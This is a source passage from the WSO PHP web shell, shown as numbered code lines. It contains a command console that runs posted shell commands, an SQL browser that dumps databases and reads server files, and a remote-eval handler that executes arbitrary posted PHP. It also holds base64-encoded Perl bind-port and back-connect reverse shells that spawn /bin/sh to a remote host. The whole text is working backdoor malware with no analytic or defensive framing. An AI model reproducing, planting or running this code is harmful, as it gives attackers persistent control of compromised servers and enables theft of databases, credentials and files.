660 case 'hexdump':
661 $c = @file_get_contents($_POST['p1']);
662 $n = 0;
663 $h = array('00000000<br>','','');
664 $len = strlen($c);
665 for ($i=0; $i<$len; ++$i) {
666 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
667 switch ( ord($c[$i]) ) {
668 case 0: $h[2] .= ' '; break;
669 case 9: $h[2] .= ' '; break;
670 case 10: $h[2] .= ' '; break;
671 case 13: $h[2] .= ' '; break;
672 default: $h[2] .= $c[$i]; break;
673 }
674 $n++;
675 if ($n == 32) {
676 $n = 0;
677 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
678 $h[1] .= '<br>';
679 $h[2] .= "\n";
680 }
681 }
682 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
683 break;
684 case 'rename':
685 if( !empty($_POST['p3']) ) {
686 if(!@rename($_POST['p1'], $_POST['p3']))
687 echo 'Can\'t rename!<br>';
688 else
689 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
690 }
691 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
692 break;
693 case 'touch':
694 if( !empty($_POST['p3']) ) {
695 $time = strtotime($_POST['p3']);
696 if($time) {
697 if(!touch($_POST['p1'],$time,$time))
698 echo 'Fail!';
699 else
700 echo 'Touched!';
701 } else echo 'Bad time format!';
702 }
703 clearstatcache();
704 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
705 break;
706 }
707 echo '</div>';
708 wsoFooter();
709}
710
711function actionConsole() {
712 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
713 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
714 $_POST['p1'] .= ' 2>&1';
715 } elseif(!empty($_POST['p1']))
716 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
717
718 if(isset($_POST['ajax'])) {
719 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
720 ob_start();
721 echo "d.cf.cmd.value='';\n";
722 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
723 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
724 if(@chdir($match[1])) {
725 $GLOBALS['cwd'] = @getcwd();
726 echo "c_='".$GLOBALS['cwd']."';";
727 }
728 }
729 echo "d.cf.output.value+='".$temp."';";
730 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
731 $temp = ob_get_clean();
732 echo strlen($temp), "\n", $temp;
733 exit;
734 }
735 wsoHeader();
736 echo "<script>
737if(window.Event) window.captureEvents(Event.KEYDOWN);
738var cmds = new Array('');
739var cur = 0;
740function kp(e) {
741 var n = (window.Event) ? e.which : e.keyCode;
742 if(n == 38) {
743 cur--;
744 if(cur>=0)
745 document.cf.cmd.value = cmds[cur];
746 else
747 cur++;
748 } else if(n == 40) {
749 cur++;
750 if(cur < cmds.length)
751 document.cf.cmd.value = cmds[cur];
752 else
753 cur--;
754 }
755}
756function add(cmd) {
757 cmds.pop();
758 cmds.push(cmd);
759 cmds.push('');
760 cur = cmds.length-1;
761}
762
763</script>";
764 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;">';
765
766 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
767 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
768 echo '</select><nobr><input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
769 if(!empty($_POST['p1'])) {
770 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
771 }
772 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
773 echo '</form></div><script>d.cf.cmd.focus();</script>';
774 wsoFooter();
775}
776
777function actionSql() {
778 class DbClass {
779 var $type;
780 var $link;
781 var $res;
782 function DbClass($type) {
783 $this->type = $type;
784 }
785 function connect($host, $user, $pass, $dbname){
786 switch($this->type) {
787 case 'mysql':
788 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
789 break;
790 case 'pgsql':
791 $host = explode(':', $host);
792 if(!$host[1]) $host[1]=5432;
793 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
794 break;
795 }
796 return false;
797 }
798 function selectdb($db) {
799 switch($this->type) {
800 case 'mysql':
801 if (@mysql_select_db($db))return true;
802 break;
803 }
804 return false;
805 }
806 function query($str) {
807 switch($this->type) {
808 case 'mysql':
809 return $this->res = @mysql_query($str);
810 break;
811 case 'pgsql':
812 return $this->res = @pg_query($this->link,$str);
813 break;
814 }
815 return false;
816 }
817 function fetch() {
818 $res = func_num_args()?func_get_arg(0):$this->res;
819 switch($this->type) {
820 case 'mysql':
821 return @mysql_fetch_assoc($res);
822 break;
823 case 'pgsql':
824 return @pg_fetch_assoc($res);
825 break;
826 }
827 return false;
828 }
829 function listDbs() {
830 switch($this->type) {
831 case 'mysql':
832 return $this->query("SHOW databases");
833 break;
834 case 'pgsql':
835 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
836 break;
837 }
838 return false;
839 }
840 function listTables() {
841 switch($this->type) {
842 case 'mysql':
843 return $this->res = $this->query('SHOW TABLES');
844 break;
845 case 'pgsql':
846 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
847 break;
848 }
849 return false;
850 }
851 function error() {
852 switch($this->type) {
853 case 'mysql':
854 return @mysql_error();
855 break;
856 case 'pgsql':
857 return @pg_last_error();
858 break;
859 }
860 return false;
861 }
862 function setCharset($str) {
863 switch($this->type) {
864 case 'mysql':
865 if(function_exists('mysql_set_charset'))
866 return @mysql_set_charset($str, $this->link);
867 else
868 $this->query('SET CHARSET '.$str);
869 break;
870 case 'pgsql':
871 return @pg_set_client_encoding($this->link, $str);
872 break;
873 }
874 return false;
875 }
876 function loadFile($str) {
877 switch($this->type) {
878 case 'mysql':
879 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
880 break;
881 case 'pgsql':
882 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
883 $r=array();
884 while($i=$this->fetch())
885 $r[] = $i['file'];
886 $this->query('drop table wso2');
887 return array('file'=>implode("\n",$r));
888 break;
889 }
890 return false;
891 }
892 function dump($table, $fp = false) {
893 switch($this->type) {
894 case 'mysql':
895 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
896 $create = mysql_fetch_array($res);
897 $sql = $create[1].";\n";
898 if($fp) fwrite($fp, $sql); else echo($sql);
899 $this->query('SELECT * FROM `'.$table.'`');
900 $head = true;
901 while($item = $this->fetch()) {
902 $columns = array();
903 foreach($item as $k=>$v) {
904 if($v == null)
905 $item[$k] = "NULL";
906 elseif(is_numeric($v))
907 $item[$k] = $v;
908 else
909 $item[$k] = "'".@mysql_real_escape_string($v)."'";
910 $columns[] = "`".$k."`";
911 }
912 if($head) {
913 $sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
914 $head = false;
915 } else
916 $sql = "\n\t,(".implode(", ", $item).')';
917 if($fp) fwrite($fp, $sql); else echo($sql);
918 }
919 if(!$head)
920 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
921 break;
922 case 'pgsql':
923 $this->query('SELECT * FROM '.$table);
924 while($item = $this->fetch()) {
925 $columns = array();
926 foreach($item as $k=>$v) {
927 $item[$k] = "'".addslashes($v)."'";
928 $columns[] = $k;
929 }
930 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
931 if($fp) fwrite($fp, $sql); else echo($sql);
932 }
933 break;
934 }
935 return false;
936 }
937 };
938 $db = new DbClass($_POST['type']);
939 if(@$_POST['p2']=='download') {
940 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
941 $db->selectdb($_POST['sql_base']);
942 switch($_POST['charset']) {
943 case "Windows-1251": $db->setCharset('cp1251'); break;
944 case "UTF-8": $db->setCharset('utf8'); break;
945 case "KOI8-R": $db->setCharset('koi8r'); break;
946 case "KOI8-U": $db->setCharset('koi8u'); break;
947 case "cp866": $db->setCharset('cp866'); break;
948 }
949 if(empty($_POST['file'])) {
950 ob_start("ob_gzhandler", 4096);
951 header("Content-Disposition: attachment; filename=dump.sql");
952 header("Content-Type: text/plain");
953 foreach($_POST['tbl'] as $v)
954 $db->dump($v);
955 exit;
956 } elseif($fp = @fopen($_POST['file'], 'w')) {
957 foreach($_POST['tbl'] as $v)
958 $db->dump($v, $fp);
959 fclose($fp);
960 unset($_POST['p2']);
961 } else
962 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
963 }
964 wsoHeader();
965 echo "
966
967<h1>Sql browser</h1><div class=content>
968<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
969<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
970<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
971<td><select name='type'><option value='mysql' ";
972 if(@$_POST['type']=='mysql')echo 'selected';
973echo ">MySql</option><option value='pgsql' ";
974if(@$_POST['type']=='pgsql')echo 'selected';
975echo ">PostgreSql</option></select></td>
976<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
977<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
978<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
979 $tmp = "<input type=text name=sql_base value=''>";
980 if(isset($_POST['sql_host'])){
981 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
982 switch($_POST['charset']) {
983 case "Windows-1251": $db->setCharset('cp1251'); break;
984 case "UTF-8": $db->setCharset('utf8'); break;
985 case "KOI8-R": $db->setCharset('koi8r'); break;
986 case "KOI8-U": $db->setCharset('koi8u'); break;
987 case "cp866": $db->setCharset('cp866'); break;
988 }
989 $db->listDbs();
990 echo "<select name=sql_base><option value=''></option>";
991 while($item = $db->fetch()) {
992 list($key, $value) = each($item);
993 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
994 }
995 echo '</select>';
996 }
997 else echo $tmp;
998 }else
999 echo $tmp;
1000 echo "</td>
1001
1002 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1003 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1004 </tr>
1005 </table>
1006 <script>
1007 s_db='".@addslashes($_POST['sql_base'])."';
1008 function fs(f) {
1009 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1010 if(f.p1) f.p1.value='';
1011 if(f.p2) f.p2.value='';
1012 if(f.p3) f.p3.value='';
1013 }
1014 }
1015 function st(t,l) {
1016 d.sf.p1.value = 'select';
1017 d.sf.p2.value = t;
1018 if(l && d.sf.p3) d.sf.p3.value = l;
1019 d.sf.submit();
1020 }
1021 function is() {
1022 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1023 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1024 }
1025 </script>";
1026 if(isset($db) && $db->link){
1027 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1028 if(!empty($_POST['sql_base'])){
1029 $db->selectdb($_POST['sql_base']);
1030 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1031 $tbls_res = $db->listTables();
1032 while($item = $db->fetch($tbls_res)) {
1033 list($key, $value) = each($item);
1034 if(!empty($_POST['sql_count']))
1035 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1036 $value = htmlspecialchars($value);
1037 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1038 }
1039 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1040 if(@$_POST['p1'] == 'select') {
1041 $_POST['p1'] = 'query';
1042 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1043 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1044 $num = $db->fetch();
1045 $pages = ceil($num['n'] / 30);
1046 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1047 echo " of $pages";
1048 if($_POST['p3'] > 1)
1049 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1050 if($_POST['p3'] < $pages)
1051 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
1052 $_POST['p3']--;
1053 if($_POST['type']=='pgsql')
1054 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1055 else
1056 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1057 echo "<br><br>";
1058 }
1059 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
1060 $db->query(@$_POST['p2']);
1061 if($db->res !== false) {
1062 $title = false;
1063 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
1064 $line = 1;
1065 while($item = $db->fetch()) {
1066 if(!$title) {
1067 echo '<tr>';
1068 foreach($item as $key => $value)
1069 echo '<th>'.$key.'</th>';
1070 reset($item);
1071 $title=true;
1072 echo '</tr><tr>';
1073 $line = 2;
1074 }
1075 echo '<tr class="l'.$line.'">';
1076 $line = $line==1?2:1;
1077 foreach($item as $key => $value) {
1078 if($value == null)
1079 echo '<td><i>null</i></td>';
1080 else
1081 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1082 }
1083 echo '</tr>';
1084 }
1085 echo '</table>';
1086 } else {
1087 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1088 }
1089 }
1090 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
1091 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
1092 echo htmlspecialchars($_POST['p2']);
1093 echo "</textarea><br/><input type=submit value='Execute'>";
1094 echo "</td></tr>";
1095 }
1096 echo "</table></form><br/>";
1097 if($_POST['type']=='mysql') {
1098 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
1099 if($db->fetch())
1100 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1101 }
1102 if(@$_POST['p1'] == 'loadfile') {
1103 $file = $db->loadFile($_POST['p2']);
1104 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1105 }
1106 } else {
1107 echo htmlspecialchars($db->error());
1108 }
1109 echo '</div>';
1110 wsoFooter();
1111}
1112function actionNetwork() {
1113 wsoHeader();
1114 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1115 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1116 echo "<h1>Network tools</h1><div class=content>
1117
1118 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1119 <span>Bind port to /bin/sh [perl]</span><br/>
1120 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1121 </form>
1122 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1123 <span>Back-connect [perl]</span><br/>
1124 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1125
1126 </form><br>";
1127 if(isset($_POST['p1'])) {
1128 function cf($f,$t) {
1129 $w = @fopen($f,"w") or @function_exists('file_put_contents');
1130 if($w){
1131 @fwrite($w,@base64_decode($t));
1132 @fclose($w);
1133 }
1134 }
1135 if($_POST['p1'] == 'bpp') {
1136 cf("/tmp/bp.pl",$bind_port_p);
1137 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1138 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1139 unlink("/tmp/bp.pl");
1140 }
1141 if($_POST['p1'] == 'bcp') {
1142 cf("/tmp/bc.pl",$back_connect_p);
1143 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1144 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1145 unlink("/tmp/bc.pl");
1146 }
1147 }
1148 echo '</div>';
1149 wsoFooter();
1150}
1151function actionRC() {
1152 if(!@$_POST['p1']) {
1153 $a = array(
1154 "uname" => php_uname(),
1155 "php_version" => phpversion(),
1156 "wso_version" => WSO_VERSION,
1157 "safemode" => @ini_get('safe_mode')
1158 );
1159 echo serialize($a);
1160 } else {
1161 eval($_POST['p1']);
1162 }
1163}
1164if( empty($_POST['a']) )
1165 if(isset($default_action) && function_exists('action' . $default_action))
1166 $_POST['a'] = $default_action;
1167 else
1168 $_POST['a'] = 'SecInfo';
1169if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1170 call_user_func('action' . $_POST['a']);
1171exit;
1172?>